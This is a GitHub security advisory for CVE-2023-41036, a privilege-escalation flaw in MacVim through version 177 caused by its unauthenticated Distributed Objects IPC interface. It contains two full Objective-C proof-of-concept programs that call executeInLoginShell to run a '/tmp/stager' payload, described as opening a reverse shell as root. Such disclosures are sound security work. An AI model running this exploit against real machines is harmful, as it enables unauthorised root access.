Skip to content

Insecure Usage of IPC Mechanisms

High
ychin published GHSA-9jgj-jfwg-99fv Sep 12, 2023

Package

No package listed

Affected versions

<= 177

Patched versions

178

Description

Summary

Macvim makes use of an insecure IPC mechanism which could lead to a privilege escalation. Distributed objects are a concept introduced by Apple which allow one program to vend an interface to another program. What is not made clear in the documentation is that this service can vend this interface to any other program on the machine.

Details

The two relevant source files are MMAppController and MMBackend

Any method exposed via these interfaces are usable to any other process on the system. I have tested and confirmed that a malicious program use this as a privilege escalation vulnerability by polling if the MacVim is running as root. I did not attempt to interact with MMBackend, although based on the exposed methods something like a vim keylogger may be implemented using this interface.

PoC

If you try to compile the POC using a newer version of XCode the NSConnection object that is used to call the vended interface will never successfully connect to anything. As such, I suggest cloning an older repo such as JeremyAgost's IPC Demo and modifying the main file there.

The following example can be used to execute a payload if MacVim was downloaded from https://macvim.org/:

#import <Foundation/Foundation.h>
#import "../IPCServ/ServiceObject.h"



#ifndef MAppController_h
#define MAppController_h
@interface MMAppController: NSObject
    - (int)executeInLoginShell:(NSString *)path arguments:(NSArray *)args;
@end

#endif /* MAppController_h */


int main(int argc, const char * argv[])
{

    @autoreleasepool {
        while(true){
            MMAppController * obj = (id)[NSConnection rootProxyForConnectionWithRegisteredName:@"/Applications/MacVim.app-connection" host:nil];
            
            if (obj) {
                NSArray *taskArgs = [NSArray arrayWithObjects: nil];
                int pid = [obj executeInLoginShell:@"/tmp/stager" arguments:taskArgs];
                
                [[(NSDistantObject *)obj connectionForProxy] invalidate];
                NSLog(@"yay");
            }
            else {
                NSLog(@"No Connection");
            }
            [NSThread sleepForTimeInterval:5.0f];

        }
        
    }
    return 0;
}

Note that in this case /tmp/stager was a payload which started a reverse shell if it was run as root via the IPC mechanism.

If macvim is installed via homebrew, the following was used:

#import <Foundation/Foundation.h>
#import "../IPCServ/ServiceObject.h"



#ifndef MAppController_h
#define MAppController_h
@interface MMAppController: NSObject
    - (int)executeInLoginShell:(NSString *)path arguments:(NSArray *)args;
@end

#endif /* MAppController_h */


int main(int argc, const char * argv[])
{

    @autoreleasepool {
        while(true){
            MMAppController * obj = (id)[NSConnection rootProxyForConnectionWithRegisteredName:@" /opt/homebrew/Cellar/macvim/9.0.1677/MacVim.app-connection" host:nil];
            
            if (obj) {
                NSArray *taskArgs = [NSArray arrayWithObjects: nil];
                int pid = [obj executeInLoginShell:@"/tmp/stager" arguments:taskArgs];
                
                [[(NSDistantObject *)obj connectionForProxy] invalidate];
                NSLog(@"yay");
            }
            else {
                NSLog(@"No Connection");
            }
            [NSThread sleepForTimeInterval:5.0f];

        }
        
    }
    return 0;
}

Impact

The impact of exploitation is a privilege escalation to root - this is likely to affect anyone who is not careful about the software they download and use MacVim to edit files that would require root privileges. Although the MMBackend interface may be exploited in other ways, I did not explore this much further.

Remedial

Afaik XPCConnection is the currently preferred mechanism; It has a robust mechanism for authentication of the calling process, however I'm not sure if it'll work in this specific case.

Affected Versions

I had a quick glance at the repository history and I think this goes back as far as 2007. This would have been long before the interface was deprecated or some research around it was done by people such as project zero's Ian Beer.

Final Notes

I'd like to thank the maintainers, specifically @ychin , for taking the time to talk to me and working on this project - the passion displayed by you guys is amazing :)

Finally, without the time and support given by my employer, MWR CyberSec, and colleagues; I would not have had the time to research or find this vulnerability.

Severity

High

CVE ID

CVE-2023-41036

Weaknesses

No CWEs

Credits